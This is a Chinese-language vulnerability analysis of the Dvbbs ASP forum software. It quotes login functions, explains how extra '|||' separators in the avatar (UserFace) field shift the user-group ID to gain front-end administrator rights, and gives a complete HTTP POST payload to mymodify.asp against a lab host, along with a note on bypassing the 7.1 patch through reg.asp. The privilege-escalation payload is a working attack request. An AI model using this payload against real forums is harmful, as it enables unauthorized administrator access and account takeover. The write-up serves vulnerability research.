漏洞分析

  • login.asp ChkUserLogin()
Function ChkUserLogin(username,password,mobile,usercookies,ctype)

... ... 

    'Session(Dvbbs.CacheName & "UserID")用户资料=0dvbbs+1刷新时间+2发贴时间+3所在版面ID+4用户ID+5用户名+6用户密码+7用户邮箱+8用户文章数+9用户主题数+10用户性别+11用户头像+12用户头像宽+13用户头像高+14用户注册时间+15用户最后登陆时间+16用户登陆次数+17用户状态+18用户等级+19用户组ID+20用户组名+21用户金钱+22用户积分+23用户魅力+24用户威望+25用户生日+26最后登陆IP+27用户被删除数+28用户精华数+29用户隐身状态+30用户短信情况+31用户阳光会员+32用户手机+33用户组图标+34用户头衔+35验证密码+36用户今日信息+37+临时数据+38Dvbbs
	Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "
	Sql=Sql+" From [Dv_User] Where "&sqlstr&""
	set rsUser=Dvbbs.Execute(sql)
	If rsUser.eof and rsUser.bof Then
		ChkUserLogin=false
		Exit Function
	Else
		iMyUserInfo=rsUser.GetString(,1, "|||", "", "")
		rsUser.Close:Set rsUser = Nothing
	End If
	iMyUserInfo = "Dvbbs|||"& Now & "|||" & Now &"|||"& Dvbbs.BoardID &"|||"& iMyUserInfo &"||||||Dvbbs"
	iMyUserInfo = Split(iMyUserInfo,"|||")
	If trim(password)<>trim(iMyUserInfo(6)) Then
			ChkUserLogin=false
	ElseIf iMyUserInfo(17)=1 Then
			ChkUserLogin=false
	ElseIf iMyUserInfo(19)=5 Then
			ChkUserLogin=false
	Else
			ChkUserLogin=True
			Session(Dvbbs.CacheName & "UserID") = iMyUserInfo
			Dvbbs.UserID = iMyUserInfo(4)
			RegName = iMyUserInfo(5)
			Article = iMyUserInfo(8)
			UserLastLogin = iMyUserInfo(15)
			UserClass = iMyUserInfo(18)			
			GroupID = iMyUserInfo(19)
			TitlePic = iMyUserInfo(34)
			If Article<0 Then Article=0
	End If

... ...

End Function
  • inc/Dv_ClsMain.asp Public Sub TrueCheckUserLogin()
Public Sub TrueCheckUserLogin()
'Session(CacheName & "UserID")用户资料=0dvbbs+1刷新时间+2发贴时间+3所在版面ID+4用户ID+5用户名+6用户密码+7用户邮箱+8用户文章数+9用户主题数+10用户性别+11用户头像+12用户头像宽+13用户头像高+14用户注册时间+15用户最后登陆时间+16用户登陆次数+17用户状态+18用户等级+19用户组ID+20用户组名+21用户金钱+22用户积分+23用户魅力+24用户威望+25用户生日+26最后登陆IP+27用户被删除数+28用户精华数+29用户隐身状态+30用户短信情况+31用户阳光会员+32用户手机+33用户组图标+34用户头衔+35验证密码+36用户今日信息+37用户待发贴子数据+38Dvbbs
	Dim Rs,SQL
	Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
	Sql=Sql+" From [Dv_User] Where UserID = " & UserID
	Set Rs = Execute(Sql)
	If Rs.Eof And Rs.Bof Then
		Rs.Close:Set Rs = Nothing
		UserID = 0
		EmptyCookies
		LetGuestSession()
	Else
		MyUserInfo=Rs.GetString(,1, "|||","","")
		Rs.Close:Set Rs = Nothing
		MyUserInfo = "Dvbbs|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||Dvbbs"
		MyUserInfo = Split(MyUserInfo,"|||")
		If Trim(MyUserInfo(35)) = Memberword And Trim(MyUserInfo(5)) =Membername Then
			Session(CacheName & "UserID") = MyUserInfo
			Memberword = MyUserInfo(35)
			GetCacheUserInfo()
		Else
			If IsArray(Session(CacheName & "UserID")) Then
				If Session(CacheName & "UserID")(0)="Dvbbs" Then
					If Trim(Session(CacheName & "UserID")(4))=Trim(MyUserInfo(4)) And Trim(Session(CacheName & "UserID")(5))=Trim(MyUserInfo(5)) And Trim(Session(CacheName & "UserID")(6))=Trim(MyUserInfo(6)) Then
						Call NewPassword0()
					End If 
				Else
					UserID = 0
					EmptyCookies
					LetGuestSession()
				End If
			Else
				UserID = 0
				EmptyCookies
				LetGuestSession()
			End If 
		End If
	End If
End Sub

ChkUserLogin 函数用于在登入时校验用户身份,TrueCheckUserLogin 函数在用户信息更新后检测用户权限。

函数使用的方法完全一致,将用户信息查询后用“|||”连接成字符串数组MyUserInfo。可以看到数组+20位为用户组ID,将其值设置为1,就可以提权为前台管理员。

所以,只要在查询结果中插入而外的“|||”即可能控制此处的ID值。

而插入字段要求要为字符型,长度足够,未过滤“|||”。

通过排查[Dv_User]表可以发现,满足条件的有UserFace字段。(mymodify.asp修改用户头像部分)

  • mymodify.asp Sub update()
face=Dv_FilterJS(replace(face,"'",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")

在mymodify.asp页面抓包后,修改myface变量为

images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||

当前用户即可被误判为前台管理员。

Payload

POST /mymodify.asp?action=updat&username=$ARG_User$HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://192.168.56.102/mymodify.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; TencentTraveler )
Host: 192.168.56.102
Content-Length: 585
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: $ARG_Cookie$

sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||����Ա|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs&width=100&height=100&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=1&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0

7.1补丁绕过

  • mymodify.asp Sub update()
	face=Dv_FilterJS(Replace(face,"'",""))
	face=Replace(face,"..","")
	face=Replace(face,"\","/")
	face=Replace(face,"^","")
	face=Replace(face,"#","")
	face=Replace(face,"%","")
	face=Replace(face,"|","")
	face=Server.htmlencode(Left(face,200))

可见,在7.1中,face参数在根新时被过滤了“|”符号。

但是在注册时也可以对UserFace字段进行修改。reg.asp处。

不过我在验证时发现网上的7.1版本已经修复这个漏洞。

还有一个cookie中的truepassword问题也无法验证了。